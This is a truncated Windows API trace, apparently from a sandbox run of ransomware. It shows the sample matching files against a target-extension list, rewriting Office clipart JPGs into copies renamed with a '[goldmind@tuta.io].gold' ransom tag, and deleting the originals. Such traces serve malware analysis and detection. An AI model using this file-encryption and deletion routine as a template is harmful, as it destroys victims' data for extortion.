[0102.386] CloseHandle (hObject=0x39c) returned 1 [0102.386] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.386] SetEndOfFile (hFile=0x230) returned 1 [0102.388] CloseHandle (hObject=0x230) returned 1 [0102.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 1 [0102.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.389] lstrlenW (lpString=".doc") returned 4 [0102.389] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.389] lstrlenW (lpString=".docx") returned 5 [0102.389] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0102.389] lstrlenW (lpString=".pdf") returned 4 [0102.389] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.389] lstrlenW (lpString=".xls") returned 4 [0102.389] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.389] lstrlenW (lpString=".xlsx") returned 5 [0102.389] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0102.389] lstrlenW (lpString=".ppt") returned 4 [0102.389] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.389] lstrlenW (lpString=".zip") returned 4 [0102.389] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.389] lstrlenW (lpString=".rar") returned 4 [0102.389] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.389] lstrlenW (lpString=".bz2") returned 4 [0102.389] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.389] lstrlenW (lpString=".7z") returned 3 [0102.389] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.389] lstrlenW (lpString=".dbf") returned 4 [0102.389] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.389] lstrlenW (lpString=".1cd") returned 4 [0102.389] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.389] lstrlenW (lpString=".jpg") returned 4 [0102.389] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.389] lstrlenW (lpString=".doc") returned 4 [0102.389] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.389] lstrlenW (lpString=".docx") returned 5 [0102.389] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0102.390] lstrlenW (lpString=".pdf") returned 4 [0102.390] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.390] lstrlenW (lpString=".xls") returned 4 [0102.390] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.390] lstrlenW (lpString=".xlsx") returned 5 [0102.390] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0102.390] lstrlenW (lpString=".ppt") returned 4 [0102.390] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.390] lstrlenW (lpString=".zip") returned 4 [0102.390] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.390] lstrlenW (lpString=".rar") returned 4 [0102.390] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.390] lstrlenW (lpString=".bz2") returned 4 [0102.390] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.390] lstrlenW (lpString=".7z") returned 3 [0102.390] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.390] lstrlenW (lpString=".dbf") returned 4 [0102.390] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.390] lstrlenW (lpString=".1cd") returned 4 [0102.390] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63 [0102.390] lstrlenW (lpString=".jpg") returned 4 [0102.390] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.390] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0102.390] lstrlenW (lpString="J0099187.JPG") returned 12 [0102.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.391] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=24528) returned 1 [0102.391] CloseHandle (hObject=0x230) returned 1 [0102.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 0x20 [0102.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.391] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.391] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.392] GetLastError () returned 0x0 [0102.392] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x5fd0, lpOverlapped=0x0) returned 1 [0102.394] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x5fe0, lpOverlapped=0x0) returned 1 [0102.394] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.395] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.395] SetEndOfFile (hFile=0x39c) returned 1 [0102.395] CloseHandle (hObject=0x39c) returned 1 [0102.395] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.395] SetEndOfFile (hFile=0x230) returned 1 [0102.397] CloseHandle (hObject=0x230) returned 1 [0102.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0102.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.398] lstrlenW (lpString=".doc") returned 4 [0102.398] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.398] lstrlenW (lpString=".docx") returned 5 [0102.398] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0102.398] lstrlenW (lpString=".pdf") returned 4 [0102.398] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.398] lstrlenW (lpString=".xls") returned 4 [0102.398] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.398] lstrlenW (lpString=".xlsx") returned 5 [0102.398] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0102.398] lstrlenW (lpString=".ppt") returned 4 [0102.398] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.398] lstrlenW (lpString=".zip") returned 4 [0102.398] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.398] lstrlenW (lpString=".rar") returned 4 [0102.398] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.398] lstrlenW (lpString=".bz2") returned 4 [0102.398] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.398] lstrlenW (lpString=".7z") returned 3 [0102.398] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.398] lstrlenW (lpString=".dbf") returned 4 [0102.398] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.398] lstrlenW (lpString=".1cd") returned 4 [0102.398] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.398] lstrlenW (lpString=".jpg") returned 4 [0102.398] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.398] lstrlenW (lpString=".doc") returned 4 [0102.398] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.399] lstrlenW (lpString=".docx") returned 5 [0102.399] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0102.399] lstrlenW (lpString=".pdf") returned 4 [0102.399] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.399] lstrlenW (lpString=".xls") returned 4 [0102.399] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.399] lstrlenW (lpString=".xlsx") returned 5 [0102.399] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0102.399] lstrlenW (lpString=".ppt") returned 4 [0102.399] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.399] lstrlenW (lpString=".zip") returned 4 [0102.399] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.399] lstrlenW (lpString=".rar") returned 4 [0102.399] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.399] lstrlenW (lpString=".bz2") returned 4 [0102.399] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.399] lstrlenW (lpString=".7z") returned 3 [0102.399] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.399] lstrlenW (lpString=".dbf") returned 4 [0102.399] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.399] lstrlenW (lpString=".1cd") returned 4 [0102.399] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0102.399] lstrlenW (lpString=".jpg") returned 4 [0102.399] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.399] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0102.399] lstrlenW (lpString="J0099188.JPG") returned 12 [0102.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.400] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=9080) returned 1 [0102.400] CloseHandle (hObject=0x230) returned 1 [0102.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 0x20 [0102.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.400] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.400] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.402] GetLastError () returned 0x0 [0102.402] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2378, lpOverlapped=0x0) returned 1 [0102.404] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2380, lpOverlapped=0x0) returned 1 [0102.404] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.404] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.404] SetEndOfFile (hFile=0x39c) returned 1 [0102.405] CloseHandle (hObject=0x39c) returned 1 [0102.405] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.405] SetEndOfFile (hFile=0x230) returned 1 [0102.406] CloseHandle (hObject=0x230) returned 1 [0102.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0102.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.407] lstrlenW (lpString=".doc") returned 4 [0102.407] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.407] lstrlenW (lpString=".docx") returned 5 [0102.407] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0102.407] lstrlenW (lpString=".pdf") returned 4 [0102.407] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.407] lstrlenW (lpString=".xls") returned 4 [0102.407] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.407] lstrlenW (lpString=".xlsx") returned 5 [0102.407] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0102.407] lstrlenW (lpString=".ppt") returned 4 [0102.407] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.407] lstrlenW (lpString=".zip") returned 4 [0102.407] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.407] lstrlenW (lpString=".rar") returned 4 [0102.407] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.407] lstrlenW (lpString=".bz2") returned 4 [0102.408] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.408] lstrlenW (lpString=".7z") returned 3 [0102.408] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.408] lstrlenW (lpString=".dbf") returned 4 [0102.408] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.408] lstrlenW (lpString=".1cd") returned 4 [0102.408] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.408] lstrlenW (lpString=".jpg") returned 4 [0102.408] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.408] lstrlenW (lpString=".doc") returned 4 [0102.408] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.408] lstrlenW (lpString=".docx") returned 5 [0102.408] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0102.408] lstrlenW (lpString=".pdf") returned 4 [0102.408] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.408] lstrlenW (lpString=".xls") returned 4 [0102.408] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.408] lstrlenW (lpString=".xlsx") returned 5 [0102.408] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0102.408] lstrlenW (lpString=".ppt") returned 4 [0102.408] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.408] lstrlenW (lpString=".zip") returned 4 [0102.408] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.408] lstrlenW (lpString=".rar") returned 4 [0102.408] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.408] lstrlenW (lpString=".bz2") returned 4 [0102.408] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.408] lstrlenW (lpString=".7z") returned 3 [0102.408] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.408] lstrlenW (lpString=".dbf") returned 4 [0102.409] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.409] lstrlenW (lpString=".1cd") returned 4 [0102.409] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0102.409] lstrlenW (lpString=".jpg") returned 4 [0102.409] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.409] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0102.409] lstrlenW (lpString="J0099189.JPG") returned 12 [0102.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.410] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8076) returned 1 [0102.410] CloseHandle (hObject=0x230) returned 1 [0102.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 0x20 [0102.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0102.410] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.410] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0102.411] GetLastError () returned 0x0 [0102.411] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1f8c, lpOverlapped=0x0) returned 1 [0102.412] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0102.413] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.413] WriteFile (in: hFile=0x39c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.413] SetEndOfFile (hFile=0x39c) returned 1 [0102.413] CloseHandle (hObject=0x39c) returned 1 [0102.413] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.413] SetEndOfFile (hFile=0x230) returned 1 [0102.415] CloseHandle (hObject=0x230) returned 1 [0102.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0102.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0102.416] lstrlenW 